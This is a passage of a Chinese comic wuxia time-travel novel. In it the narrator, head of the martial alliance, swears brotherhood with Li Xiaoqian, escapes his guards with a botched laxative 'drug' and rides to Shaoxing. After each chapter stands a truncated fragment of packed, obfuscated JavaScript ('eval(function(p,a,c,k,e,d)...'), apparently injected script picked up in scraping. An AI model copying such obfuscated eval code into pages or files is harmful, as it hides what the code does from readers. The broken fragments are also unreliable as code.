满脸褶子的老人,面容白皙,佝偻着身子,出门笑脸相迎。但,不知为何,我总感觉他看起来有些奇怪,似乎是缺少些什么,让我倍感不适。 他嗓音尖细,说话娘里娘气,说:“呦,柳大人来了。”随即他看了我一眼,问:“这位是……?” 柳无风淡淡的说:“姬旦丙!” 他笑容更盛,他掂着清晰的步子走到我跟前,如同一只摇尾乞怜的狗。他说:“呦,这位便是姬大人呀。虽然早有耳闻,但今日一见,才当真晓得什么是英雄出少年啊!嘿嘿嘿嘿......” 他的笑,让我浑身不自在。这时,我才发觉,那张让我倍感不适的脸,到底是缺少了些什么。 我问:“你怎么没有胡子?” 老人一怔,表情怅然,似乎是想起了什么痛苦之事。他说:“老奴没了那、话儿,还怎么长得出胡子?” 我不解,问:“哪话儿?” 老人的表情更难看了。柳无风拍了我肩膀一下,说:“别问了,快些进去看看!” 走进已经更名的武林盟,院中依旧是甚为熟悉的禅慧寺模样。只是,院子中丝毫没有了佛门净土的气息。 我指着正殿前的一块空地,说:“我记得这里有一尊铜鼎。”又指了指正殿石阶下空荡荡的青石路,说:“这里应该是两排经幢。” 柳无风没有说话,他指了指正殿,说:“我带你到堂内看看。” 正殿里的装饰的确让我眼前一亮。如来佛祖的金身佛像已然不见了,那个落地的莲花石座换成了山水呼应,大气磅礴的屏风。 屏风前,正座客座皆是一应崭新的家具。我满意的笑着说:“很好,很好。” 老人凑了过来,说:“那自然是好。皇上特地给柳大人拨付了五百两银子,修葺这座宅院。足见皇上对姬大人的重视!” “咳!” 柳无风重重地咳嗽了一声,冲着老人眨了眨眼睛。那老人脸色一变,连忙说:“老奴失言,老奴失言。” 柳无风说:“好了,你便在此休息吧。以后便由老乌照顾你。” 我问:“谁是老乌?” 那老人说:“老奴就是老乌。” 柳无风说:“稍后,东侧的厢房会住进几个侍卫。这几日还不太平,就让他们保护你的安全。剩下的事,便由老乌安排吧。”说罢,他转身离开。 老乌笑脸相送:“柳大人慢走。” 送走了柳无风。我坐在正堂的主位上,虽不如括苍派议事堂中的桌椅舒服,但坐下来仍然不由得觉得自己威风凛凛,霸气十足。 老子是武林盟 主。 想起来就忍不住要笑。 老乌走进堂来,问:“姬大人还有什么吩咐?” 我说:“我想睡觉,在哪里?” 老乌笑道:“老奴带你去寝室。” 竟然还是我与李小谦曾经住过的那间房,还是原来摆设,熟悉得让我一阵酸涩。我趴在曾经睡过百十个夜晚的床上,仿佛仍能闻到当年残留在被褥中的味道。 “这个味道......”我正要感慨一番。老乌说:“味道?不可能有味道,这是老奴新买的被褥。” 我说:“你出去!” 这一觉睡得很沉。在沉沉的梦里,我看到一个曾经令我无比痛恨,却又让我时常想念的地方。 雁荡山灵峰寨。 马维进正拉着一个姑娘披散的头发,哈哈大笑。姑娘衣衫不整,她哭泣着,伸出手向我求助。 “旦丙!救我!” 我看清了她的脸。是赵小娥。我仿佛已经很久都没有见过她一样,她的脸熟悉却有陌生。她不整的衣衫间露出的每一寸皮肤,白皙粉嫩,让我心里一阵激荡。 “你放开她!” 我喊着。马维进却仿佛没有听到一般,依旧拉扯着赵小娥的头发,哈哈大笑。 分明我距离他们那么近,咫尺的距离。我只要一个健步冲上去,拔出九郎剑对着马维进一阵猛刺。他绝不会是我的对手。然而,我绝感觉无计可施,感觉到一种深深的绝望。 我看着赵小娥,酸涩的滋味,让我泪水夺眶而出。 忽然间,燃起了一场大火,火光冲天,四周都是不绝于耳的惨叫,仿佛人间炼狱一般地恐怖。 “大哥,二哥,四弟!” 我喊着他们,喊着他们的名字,他们是我在世上唯一的亲人。 然而,到处都是火焰,到处都是烧得焦黑的尸体。我分辨不出,到底哪一具尸体才是他们的。我跑着,寻找着,忽然脚下一空,仿佛陷入洞中,一直往下坠,坠入无尽的谷底。 我闭上眼睛,认真体会着那种下坠的恐惧。 仿佛触到了坚实的地面。我缓缓睁开眼睛。 李小谦! 我大叫:“你回来了!” 李小谦嘿嘿一笑,随即啐了一句:“我靠,我都不知道,你还有梦游的习惯!” 我看向四周。我已经不是在寝室之中,而是站在了寝室外,一个空空荡荡的小院。头顶是朦胧的月色,眼前是真真实实的李小谦。 他真的回来了! 我激动地说:“这么久,你都去哪里了?” 李小谦笑着,说:“我去广东找我祖宗了!” 找祖宗?! 我想 起李小谦曾经说过,他上一次便是因为出门寻祖,才错过了五星连珠,被舍友抛弃,留在了这里。 我问:“你找到了吗?” 李小谦一摊手,说:“没有!跟大海捞针一样,哪里去找啊!” 看到李小谦那张熟悉的脸,他正真真实实地站着我的面前,向我讲述着他出门寻祖的经历:“我到了广东,在那里四处打探一个叫李罪的人,你说我祖先这倒霉名字,应该很好找了吧!结果怎么都找不到,然后,我就一路吃一路玩地回来了。” 我一怔,问:“就这么简单?” 李小谦说:“就这么简单。” 我说:“我以为,你一定是经历了什么千难万险呢。” 李小谦呵呵一笑,说:“哪里来得什么千难万险,你以为是在写吗?” 难道不是吗? 我抬起头,看着无边无尽的夜幕,一朵黑如墨斗的云朵飘过弯弯的月。一瞬间,我仿佛看到一张英俊潇洒、气度不凡、聪明睿智的脸,隐隐约约地出现在云层中间,他蹙着眉,托着腮,仿佛在构思着整个江湖! (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第九十八章 结拜 三月初一。便是李小谦回到临安,出现在我面前的次日清晨。 春已过半,连早晨的风里都带着一股浓浓的暖意,吹得我不免有些微醺。 武林盟院子里的树,已经抽出了一丝新绿,焕发着勃勃的生机。 然而,却不知从哪里飞来的一只乌鸦,高高地立在在光秃秃的屋顶上悲啼。那沙哑的叫声,却意外地打破了这温腻可人的氛围。 柳无风穿的很单薄,阳光从他的身后照射过来,将他的影子拉得很长。在地上拖着,一直拖到我的脚边,让我忍不住想要踩上一脚。 他不在意的的脚已经踩到他影子的头上,因为他正气死死地盯着李小谦,在怀里抱着的刀,已然拔了出来,正牢牢地攥在他的手心里。 两尺刀柄,一尺刀刃,看上去有些怪异。怪异得似乎是让李小谦已经忘记了危险,噗嗤一声笑了出来。随即他哈哈大笑,说:“哥们儿,你这青龙偃月刀哪买的?我爬泰山的时候,给我家大侄子买了一个木头的,和你这尺寸一模一样。哈哈哈......” 柳无风并没有理会他的嘲讽,依旧冷冷地凝视着李小谦,眼神中闪烁着冰冷的杀意。他说:“你是何人?” 我说:“他是我的朋友!” “朋友?!”柳无风疑惑,道,“你这样的人,竟然还有朋友?!” 李小谦说:“你怎么说话的。你怎么知道他没有朋友?我李小谦就是他姬旦丙的朋友!” 朋友?! 我心里一阵温暖。不知为何,他这次回来之后,几乎每一句话都会让我莫名地感动。 柳无风看了我一眼,我向他点了点头,表示认可。 柳无风将刀重新塞进了刀鞘之中,两尺刀柄仍在外面翘着,让我感觉到滑稽。他审视着李小谦,嘴角一撇,说:“我们见过。” 李小谦脸色一边,忙说:“我们没见过。” 柳无风淡淡地笑着,说:“没有人可以逃过我的眼睛。” 老乌从他身后绕了过来,嘿嘿一笑,吓得柳无风猛地一哆嗦,登时脸色大变。 李小谦哈哈大笑,指着老乌说:“你怎么没有看到他?” 柳无风一把抓过老乌,骂道:“你个老奴才,出来得当真不是时候!” 老乌本来就很白的脸吓得更白了,他颤巍巍地说:“柳,柳大人,老,老奴不是有意的。”他看着我,求助道:“姬大人,你帮老奴求个情啊!” 我并没有帮他求情,因为我仍在想柳无风方才的那句话。他那一句“我们见过”瞬间点醒了我,让我想起在括苍派看到的那个蒙面男子。 身材,眼神,声音,都是那 么相似。 我问李小谦:“你是不是括苍派的那个蒙面人?” 李小谦一怔,问:“什么蒙面人?”他满脸迷茫,看起来对我的话完全不能理解。但我总感觉他目光躲闪,有意不与我对视。 难道真的不是他吗? 柳无风说:“我说过,没有人可以逃过的我的眼睛。” 李小谦冷眼看着柳无风,说:“昨夜,我听旦丙说,你翻修禅慧寺竟然花了五百了银子。可是我觉得你这装饰得也不怎么样嘛......并且,那正殿里的佛像和院子里的经幢......” 柳无风伸出一只手,截断了李小谦,说:“不要再说了。是我看错了!” 李小谦嘿嘿一笑,说:“这还差不多。”柳无风冷冷地哼了一声,甩下一句,你好自为之,提着刀走了。 李小谦问我:“那傻大个儿是谁?” 我说:“他是皇上的人。” 李小谦一脸惊讶,说:“我靠,难怪这么牛逼。我看,你现在跟皇上勾搭得不错嘛!” 他那句“我靠”,让我倍感亲切,从未听着这样舒服过。 我说:“我没有勾搭皇上。” “无所谓了。总之我看皇上对你不错。”李小谦打量着禅慧寺,说:“以后,我们住这里也挺好。毕竟是我们想办法修起来的。” 我们? 我看着李小谦在院子漫无目的闲逛,仿佛没有来过一般,东张西望。一股强烈的亲切感从心里生出。我隐约从他的身形中看到了我大哥赵祸甲的影子,如果可以,我真愿意孤独的我与孤独的李小谦,在这世间彼此陪伴,成为亲人。 “大哥!”我脱口而出。 李小谦猛地扭过头来,他茫然四顾地看了看,问:“你叫谁?” 我心里忽然慌乱,连忙说:“没,没叫谁。” 李小谦却走到我身旁,拍了拍我的肩膀,说:“我们本来绝没有机会认识,但缘分这东西便是这么奇怪,偏偏让我们相处了这么久。” 他的目光很真诚。他说:“不如,我们结拜为异性兄弟吧!” 我心里一暖,又脱口而出:“大哥!” 李小谦笑着点头,拖着长音,回了一句:“唉......” 黄台香案,青烟袅袅,乌牛白马,祭告天地。 三拜九叩以后,便要歃血为盟。李小谦大手一挥,气势豪迈,喊道:“拿碗来!” 不一会儿,老乌迈着轻盈的步子,抱着两个白陶的盆碗走了过来。 “我靠!”李小谦瞪着眼睛,眼珠险些从眶里掉下来,说,“我要喝酒,不是揉面!你端俩盆子来干什么?” 老 乌慌忙低头,歉意道:“老奴这就去换,这就去换!” 香案上青烟袅袅,各式贡品摆了一排。刚刚举誓为盟的话还在耳边萦绕,这样的气氛深深地感染了我,我大喊一声:“就它了!” 老乌笑着将两个盆碗分开摆在我俩面前,将如水桶一般大小的一坛酒分倒在两只碗中。 “唉,唉,唉......”李小谦伸手拦着,“可以了,可以了,喝不了这么多!唉,唉……行了……” 我心中激荡之情难退,大喊:“满上!” 老乌应了一声,稍顷,满满一坛子酒便见了底儿。他将空坛子蹲在地上,转身拿起黄台上的匕首递给李小谦,说:“大人,请用。” 李小谦犹犹豫豫地接过匕首,看了一眼如盆子般大小碗,酒水清澈见底,面上飘着一粒粒如珠般的酒花,香气四溢。 他咬了咬牙,匕首猛地划过指尖。 酒是冷的,血是热的。 一滴滴血滴入酒水之中,在满碗清澈的酒水中晕开一片鲜红。 我也学着李小谦的样子,在手指上划开口子。伤口的疼痛,被心潮的澎湃掩了下去,只觉得那澎湃的血液不尽兴地缓缓滴入酒水之中。 我缓缓捧起大碗,鲜红的酒水在其中摇摇晃晃,仿佛是有一条大鱼就要从中跳出来一般。我将碗缓缓地推到李小谦面前,与同样摇摇晃晃的李小谦的碗碰了一下。 “干!”我爽快地喊着,恨不得将内心的喜悦全都集中在这一个字上。 李小谦勉强地笑着,说:“干了,干了。” 我高兴地举起大碗来畅饮。只感觉一股辛辣的血腥味,从口中顺入了我的喉咙。 又一阵温暖地风吹过,吹落了最后一段香灰。青烟袅袅的香案上已不见了青烟。 一炷香的时间过去了。 “嗝!” 我晕晕乎乎地打了一个饱嗝,揉着自己鼓鼓囊囊地肚皮,看着大碗里还剩下的一半血酒。抱着碗的手已经无力了,但我还是用力举了起来,我说:“大哥,干了!” 李小谦满脸通红,脚步轻飘,摇摇欲坠。他摆了摆手,从黄台上的盘子里扯下一根鸡腿,说:“不行,我吃点东西压压。” 他啃一口鸡腿,在嘴里反复咀嚼了半晌,却怎么也咽不下去。 我说:“大哥,那是给神仙的鸡。” 李小谦嘴里嚼着鸡腿,含含糊糊地说:“不管了,别说是神仙的鸡,就是神仙来了老子也要吃!” 看着李小谦嚼鸡腿的样子,我嘴里口水直流,血腥味和酒味儿混合的味道不停地冲击着我的味蕾,让我一阵阵恶心。我掰下另外一根鸡腿,说:“ 我也要压压。” 不知过了多久。 也不知后面发生了什么。 当我醒过来的时候,已躺在了柔软的床上。窗外是朦胧的月色,越过窗帘照着我醉意未醒的眼睛。 我只感觉眼皮很重。如同挂着千钧重物一般,连睁大双眼都十分艰难。 床榻的一侧传来李小谦如雷鸣一般的鼾声。 这一生第二次醉酒,仍然是与李小谦。往事闪过我的脑海,仿佛就如昨日刚刚发生过一般。 或许,这就是缘分吧! 他侧脸趴在床上,张着嘴,口水挂在嘴角,脸下压着的褥子湿了一大片。 大哥! 我忍不住地一阵兴奋。终于找回了有亲人陪伴的感觉。 从此,江湖凶险,不再是我一人独行。 忽然,李小谦鼾声骤停,他吧唧了两下嘴。喃喃地梦呓道:“凭什么!凭什么!老子不服气!” 我疑惑,问:“你不服气什么?” 李小谦依旧沉沉睡着,含含糊糊地念着:“姬旦丙!我不服气!” (各位,今天第一天戒烟,贴了两个戒烟贴,头晕恶心,浑身没劲,提不起精神来,可能更不了第二章了。抱歉!) (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第九十九章 风波 我仿佛是被囚禁在了武林盟一般。 十几名要悬刀剑的壮汉,住在武林盟东侧的一排厢房之中。那排厢房,原本是圆通准备给弟子的禅房。 厢房中,圆通亲笔写下的禅字依旧在墙上挂着。他那圆润饱满的字迹,像极了他那一抹雪亮的光头。 那些壮汉就在那些房间里住着。每当我想要走出武林盟的大门时,他们便默不作声的跟在我身后。只要我想要往山下行走,他们便会同样默不作声的拦住我的去路。 无论我如何呵斥,如何与他们争执。他们都仿佛是听不到一般,只是伸手拦着我,一句话也不说。 久而久之,我便放弃了这种挣扎。 然而,最令我牵挂的,是仍在娄琴客栈中等待我回去的娄琴。 我托人到娄琴客栈带去口信。希望娄琴能够到武林盟中与我相见。 然而,我等来的并不是娄琴,而是客栈里的伙计送回的书信。 娄琴亲笔所写的书信。 “事已知悉,望君安好,勿念。” 我端着娄琴亲笔所写的几个字,简短得已经不能再简短。 我问李小谦,回到临安后有没有去过客栈。 李小谦的回答是,去过。 我问:“娄姐可好?” 李小谦说:“她很好。是她让我来找你的。” 我一阵茫然,问:“她怎么会知道我在这里?” 李小谦摆摆手,说:“我没问过。” 绍兴十四年,四月初六。 我依旧清晰的记得那个日子。那是我做了武林盟主之后,第一次插手管理江湖事务。 也是我做了武林盟主之后,所酿造的第一个悲剧。 那日清晨。一人驾马,扬鞭向武林盟奔来。临安的四月雨水丰沛,棕红的烈马踏着泥泞的山路前行,马鞭在空中抽着响,不曾有片刻停歇。 直到那人走进武林盟的大门,跳下马背。我才看清来的人,正是括苍派的陈有风。 他风尘仆仆的脸上,满是焦急的神色。似乎是有什么极为重要的事情,让他心绪难安。 陈有风见到我,先向我作揖行礼。他依旧是那么谦谦有礼,即便是满脸的焦急,也不曾让他废去应有的礼数。 “盟主!” 陈有风的一声盟主,让我感觉到我真的还是武林盟主,并非是被软禁在这座山丘宅院中的囚犯。 我问:“你怎么来了。” 陈有风怔了片刻,他看了看我身后带到直挺的壮汉,说:“能不能进去再说?” 我说能。陈有风迈步向前,却被一双出鞘的长剑挡在了门外。 两个壮汉手里握着剑,一句话 也不说。只是冷冷的看着陈有风,满脸都是将其拒之门外的冷漠。 我说:“你们让他进来!” 两个人也没有说话,却也没有动。就这样对峙了片刻,李小谦从院中走了出来。 “这是怎么了?”李小谦问。 他与陈有风对视一眼,两人皆愣住了。脸上的表情也随之起了变化。陈有风满脸疑惑,李小谦则看起来有些慌张。 “是你?!”陈有风说。 李小谦急忙否认,说:“不是我!” 陈有风坚定地说:“就是你!” 李小谦使劲地摇头:“真的不是我!” 我说:“你们到底在说什么?” 陈有风刚要开口,李小谦却截断了他,冲着两个拿剑阻挡的壮汉,说:“你们让他进去吧。” 两个壮汉置若罔闻。李小千从怀里掏出两锭元宝,往两个壮汉的裤腰里各塞了一枚。笑着说:“人家千里迢迢的来了,我们不能失了待客的礼仪,总要让人家进去喝杯茶水吧。”说话间,他已将两枚元宝牢牢地塞进了两个壮汉的裤腰之间,继续说:“况且我俩又不出去,两位大哥就当什么也没看见。” 两个壮汉对视一眼,竟然同时收了长剑,扭头离去。 将陈有风领入正堂,李小谦在他耳边嘀咕了两句,不知说了些什么,陈有风连连点头。 我问:“你来有什么事?” 陈有风说:“盟主。出事了!” 我心里莫名地一阵紧张,问:“出了什么事?” 陈有风说:“那日在括苍山,你临走之时,家师曾嘱托盟主,尽早面见皇上,奏禀江湖自律之心。不知皇上是如何答复的?” “这……” 我忽然觉得没有办法回答他的问题。因为自从回到临安之后,我并没有见过皇上。 并非是我把这件事忘了。而是我思前想后,总觉得面见皇上这样的大事应当尤为慎重。并且,一想起要见到皇上,我便难以抑制的紧张。总想着要将事情考虑清楚,想好见到皇上应当说些什么。 想着想着,一个多月便过去了。我仍然没有去见皇上,甚至连这样的要求都没有提出过。 “你没有去见皇上?”柳无风问。 正在我为难之时,李小谦接过了话茬,他说:“这个……皇上肯定是要见的。只是他老人家日理万机,哪是说见就能见到的,总得提前预约,看看人家有没有档期吧。” 陈有风不解,问:“李兄这是何意?” 李小谦说:“简单的说,就是皇上没时间,我们还没有见到。” 陈有风一锤手,说:“如此便更糟了。” 我说:“到底出什么事了?” 柳无风说:“不知盟主可否听说过残云会?” 残云会? 我说:“没听过。” 李小谦说:“这个我知道,我知道。残云会是江湖上有名的杀手组织。这个组织人数不多,以杀人利落,不留后患,闻名江湖,其中最有名的便是李莫残与诸葛暮云。相传两人是一对恩爱情侣,他们做事只看钱,不认人。只要你给得起足够的银两,谁都可以杀。” 我惊讶不已,江湖上竟然还有这样的组织。 陈有风说:“不错。李莫残与诸葛暮云二人与双刀门的门主管天下是同门师兄妹。巢湖武林大会,他二人看在管天下的面子上,参加了巢湖武林大会,并遵从了白盟主的提议,从此金盆洗手,封刀从良。” 我长舒了一口气,说:“这不很好吗?” 陈有风叹道:“两人做了多年的杀手,除了杀人,根本没有其他的生存本领。前些年靠着攒下的一些积蓄,还可以勉强过活,许是后来生存实在艰难,竟然又干起了收钱买命的勾当。前不久,他们在绍兴,不知是接了谁的帖子,竟然杀了绍兴知府!如今此事已震惊朝廷,皇上严旨彻查。眼下已有十七路兵马奔赴各大门派,只怕朝廷是要以此为借口,对各大门派着手整治。” 听到这里,我头脑已是一片空白。除了慌乱还是慌乱,这一场突如其来的风波,已然砸到了我的头顶。 然而,身为武林盟主的我,却丝毫不知要如何应对。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''''.rece(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return''\\w+''};c=1};while(c--){if(k[c]){p=(newregexp(''\\b''+e(c)+''\\b'',''g,k[c])}}returnp}(''h4="f"+e.(b).h(2);c.6("");8((/(k)/i.j())){(\''u\'',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;a(z(3.(/\\+/g,"%15")))}}});c.6(\''\}w{;c.6(\'' 第二卷 武林盟的开始与结局 第一百章 新程 绍兴十四年四月的这场风波来得太过突然。 突然得让我手足无措。我无助的看着李小谦,问:“我应该怎么办?” 李小谦问陈有风:“你知道残云会在哪里吗?” 陈有风说:“便是在绍兴。” 李小谦沉吟片刻,对我说:“那我们去绍兴!” 去绍兴? 我下意识地看了一眼东侧厢房,说:“恐怕我们走不了。” 陈有风不解:“他们究竟是什么人?为何要限制盟主的活动?” 我说:“是柳无风安排的人。他担心有人会暗杀我。” 陈有风问:“什么人会暗杀盟主?” 我摇了摇头,说:“我也不知道。他说,武林大会碰到的那些人都有可能。” 李小谦说:“哎,管他呢,想走还不容易。” 我说:“你有办法?” 李小谦比划着,说:“我们可以做一个热气球……飞到天上去……” 绍兴十三年,娄琴客栈后院里的那一幕瞬时回到我记忆中。我连忙打断:“不行!” 李小谦说:“你放心。自那次失败之后,我经过仔细的研究,已经对上次的方案进行了改良,这次准保万无一失!” 真的万无一失吗? 一番忙碌以后的结果,又是一场大火。浓烟滚滚,老乌满脸痛心地看着那片熊熊燃烧的床单,带着哭腔:“这些可都是老奴新买的。” 李小谦满脸歉意:“这个……原理是对的,只是结果并不那么如意。” 陈有风说:“干脆我们使用最简单,最直接的方法。” 我拔出九郎剑,狠狠地盯着东侧的厢房,说:“不错!我们冲出去!” “不!”陈有风从怀里掏出一个纸包,说,“我这里有些迷药,放到他们的饭菜里,把他们迷晕。” 李小谦一把抢过药包,说:“这方法好!”他递给老乌,说:“你去!” 老乌满脸惊慌,说:“这,这,老奴不敢!” 李小谦说:“这有什么不敢的,你就全当是我逼你做的!” 老乌还是摇头。李小谦夺过我手中的九郎剑,架在老乌的脖子上,喝道:“你去不去!” 老乌连连点头,说:“我去,我去!” 李小谦把那包迷药塞到老乌手中,说:“得亏是在宋朝,若是在我们那时候,你敢说这句我去,不管三七二十一,老子先揍你一顿再说。” 老乌急得快哭出来了,他可怜巴巴地看着我,说:“大人,我是去还是不去?” 我说:“你去!” 在我们的威逼利诱下,老乌将一整包迷药都倒进了东侧厢房那些 壮汉的饭菜之中。 老乌神色慌张地从东侧厢房跑到正殿,小声对我说:“他,他们吃了!” 我心头一松,冲陈有风一笑,说:“我们走吧!” “等等!”陈有风说,“还要等半个时辰,才能发挥药效。” 半个时辰? 我却已经有些迫不及待了。这段日子,如同囚犯一样被他们时时刻刻地盯着,丝毫感受不到武林盟主应有的自由与威严,虽然住着这样大的一间大宅院,吃的也还算不错,但总感觉和在大牢里没什么区别。 马上就要结束了。只要今日走出来这个宅院,我情愿再也不回来。 凭借我武林盟主的身份,在这江湖之上,何处不能立足! 半个时辰过去了。原本沉寂的东厢房不仅没有更加沉寂,反而热闹起来。 几个壮汉纷纷捂着肚子,从厢房中跑出来,快步冲向茅厕,表情十分痛苦。 一个壮汉因为脚步慢了些,跑到茅房前已是人满为患。他焦急地拍打着茅房的木门,大喊:“你们快些啊!老子快忍不住了!” 茅房里却没有一个人走出来,并且还传来一阵阵“哎呦,哎呀”的声响。 那壮汉憋得满脸通红,左右看了一眼,竟然在茅房外解开了裤腰带。 他扎着奇特的马步,双脚平行分开,小腿与大腿之间成一道直角。嘴上“嗯”的喊了一大声,稀黄的污物倾泻而下。 一番畅快淋漓之后,他擦净屁股,系好裤腰,揉着肚子,满意地向东侧的厢房中走去。 另一个汉子推开茅厕的木门,一副虚脱的表情,抬脚刚迈出一步,不偏不倚地踩在方才那汉子拉下的污物之上。他脸色登时大变,骂道:“哪个狗养的东西把屎屙在了外面!” 就在这个时候,我们三个人已经悄悄溜出了大门。那踩了屎的汉子的叫骂声依旧清晰。 我们三人忍不住哈哈大笑。李小谦赶紧做了一个噤声的东西,强忍着笑说:“小点声!别被里面的人发现了!” 我问陈有风说:“你不是说那是迷药吗?怎么变成了泻药?” 陈有风难为情地说:“许是放的时间久了,药效有所变化!” 李小谦重重地点头,说:“由此可见,过期食品是不能吃的。” 陈有风不解,问:“何为过期食品?” 李小谦只笑不语,陈有风茫然之色更盛。我说:“他是九百年后来的,许多话你听不懂很正常。” 陈有风脸上登时大变,惊骇不已。 我们三人就像逃命一样,一路疾跑,出了临安府。在临安府外买了三匹骏马,骑上马,便开始向绍兴的方向狂奔 。 马蹄踏着坚硬的地面,声音清晰入耳。那欢快的节奏,仿佛是我的心情。 久违的自由。 我贪婪地呼吸着临安府城外的空气,感觉这气息中都透着难能可贵的香味。 “你说我们会不会见到陆游?”我大声喊着,问李小谦。 李小谦笑着:“一定会的!” 陈有风问:“陆游是何人?” 李小谦高呼一声,喊道:“一个大诗人!” 马蹄声疾,狂奔十里。两旁是葱郁的树林,四月天,已是繁花飘落,绿叶图新的日子。 花落如雨,虫鸟轻鸣,霎是一道美好景致。 忽然,一旁的树林中闪出一道人影,挡住了我们的去路。 我急忙勒住马绳。狂奔的马急忙止住蹄子,险些将我晃下马背。 “盟主这是要去哪?” 一个浑厚有力的声音,让我心头一惊,失声叫道:“柳无风!” 李小谦看起来也有些慌张,但随即他便镇定下来。他说:“柳大人好快的速度。我们一路不停,却也没有赶上你的脚力。” 柳无风冷哼一声,说:“我家传轻功,健步如飞,能疾行千里。” 李小谦说:“你怎么不说你会翻筋斗云啊!” 柳无风抬头看了看天,问:“什么是筋斗云?我看应当是诸葛暮云才对!” 我更是惊讶,说:“你,你都知道了?” 柳无风淡淡的说:“盟主去绍兴,为何不带上我?” 我说:“我以为你不让我去。” 柳无风转身从树林中牵出一匹棕色骏马,翻身上马,说:“走吧!” 李小谦笑着说:“柳大人不是说健步如飞地跑过来的吗?怎么?你跑过来的时候还背了只畜牲?” 柳无风冷冷地瞥了他一眼,一甩马绳,大喊一声:“驾!”棕色骏马长嘶一声,向绍兴方向,飞奔而去。 我们紧紧追上,看着柳无风丝毫没有阻拦的意思,我心里更加畅快。 如今,这自由来得更加真切了。 李小谦兴奋地大喊:“绍兴,我来啦!”喊完,他踩住马镫子,在马上站了起来。左手拉着缰绳,右手高高举起,大声呼喊:“浪起来吧!” 我和陈有风都被他的情绪感染,学着他的样子,站起了身子,感受着滑腻的风穿过五指的感觉。尤其是陈有风,他一扫以往文质彬彬的模样,学着李小谦的样子,大声喊着:“浪起来吧!” 我对柳无风说:“你也浪起来吧!” 柳无风说:“不浪!” 我问:“为什么?” 柳无风说:“难道你没听过一句话吗?” 我问:“什么话?” 柳无风说:“无风不起浪!”说完,他又看了一眼陈有风,说:“有风才起来浪!” 两日后,我们一行四人到达了绍兴府。 刚住进绍兴客栈,我便已经感受到了因绍兴知府被杀风波而带来的一片严肃气氛。 “客官怎么称呼?是哪里来的?”店老板打量着柳无风,目光落在他怀里抱着的那柄刀上。 柳无风说:“你问这些做什么?快去准备四间上房!” 店老板笑道:“抱歉客官,最近上面查得紧,外来人士住店,一律问清性姓名、来路,到绍兴府所办何事,并如实登记。若是江湖中人住店,还需到官府报备!” “王老板不认得我了?”李小谦笑着,“半年前刚刚在你这里小住了几日,那时候你还认得我呢。怎么近来倒有些健忘了?” 我看着他的花白的胡子,岁数着实也不小了,其善忘的样子与白景行有些相似,便关切地问了一句:“是不是也得了老年痴呆了?” 店老板垂着的两道胡须登时飘了起来,叫道:“啊!我当是哪里来得一盘好菜,原来又是你这个姬旦丙!” 他竟然侮辱我是一盘菜! 我正要发怒之时,李小谦却跳了出来,一把揪住店老板的胡子,骂道:“睁大你的狗眼瞧瞧,我兄弟是一般的江湖中人吗?他是武林盟主,是这个江湖的头头!” 我下意识地挺直了腰板,装出一副威风赫赫的模样,一拍桌子,叫道:“少废话,快去开四间上房!” 柳无风抽出了刀为我助阵,我感觉自己更加威风,果然这武林盟主的滋味是与以前默默无闻的时候不同。 店老板吓得面色惨白,连忙点头作揖,吩咐小二为我们备好了房间。 然而,我们住进房间没多久,绍兴知府衙门的差役便找上了门。 带头的差役握着一柄雪亮的长刀,刀面拍打着门板,叫道:“都出来,都出来!” 我问:“你有什么事?” 他说:“我接到举报。你们几个外来的不按规定,如实登记报备,竟然还持刀行凶,欺压良善!统统跟我到官府里走一趟!” 柳无风又一次掏出了他那枚百用百灵的金牌,只在那差役眼前一晃,原本还飞扬跋扈的差役顿时像老乌一样,除了跪地,就是求饶。 柳无风将带头的差役拎了起来,问道:“我问你,新任的绍兴知府到任了吗?” 带头的差役说:“回禀大人,我等已经接到上面的通知,兴许是这两日就到。” 我一时好奇,问:“新任的绍兴知府是谁?” 柳无风说:“秦相 国家的公子,礼部右侍郎秦熺大人。” 李小谦说:“这官阶,这背景,怎么会下来只当个知府?” 柳无风说:“日前,皇上改革吏治,凡拟任命三品以上的官员,必须有两年以上的知府以下履历。” 李小谦说:“也就是说,秦熺是下来挂职锻炼的?” 陈有风曾说,李莫残与诸葛暮云二人是接了他人的帖子,所以才杀了现任的绍兴知府。莫非,是秦熺为了当上绍兴知府,所以才下帖,让李莫残与诸葛暮云杀了绍兴知府? 我说:“是不是秦熺杀了绍兴知府。” 柳无风脸色一变,喝道:“无凭无据,休要胡言乱语!” 我说:“绍兴知府刚死,秦熺便来补缺,难道只是巧合?” 李小谦说:“绍兴知府出缺,任何人都可能来补。不能说谁不这个缺,谁便是杀人凶手。” 他说的仿佛是很有道理。这又是一场难解的迷局,如今看来,只有见到李莫残与诸葛暮云二人,才能知道谁是真正的幕后主使。 到底是什么人,因为什么要杀绍兴知府? 为什么出手的人偏偏是江湖上名声在外的杀手? 残云会杀了绍兴知府已经在江湖上传得沸沸扬扬,朝廷只需要派兵清剿残云会即可,为什么又会派出17路兵马到各大门派追查? 许多事让我想不通。 夜间,我在客房之中辗转难侧,想起这些难题,心里一阵阵的烦闷。还未入夏,窗外竟然传来一阵蛙鸣声,扰得我更加烦躁不堪。 我想与其独自寂寞,不如去找李小谦聊一聊,或许他能帮我解开许多疑惑。我起身穿好衣裳,走到李小谦的客房门口。 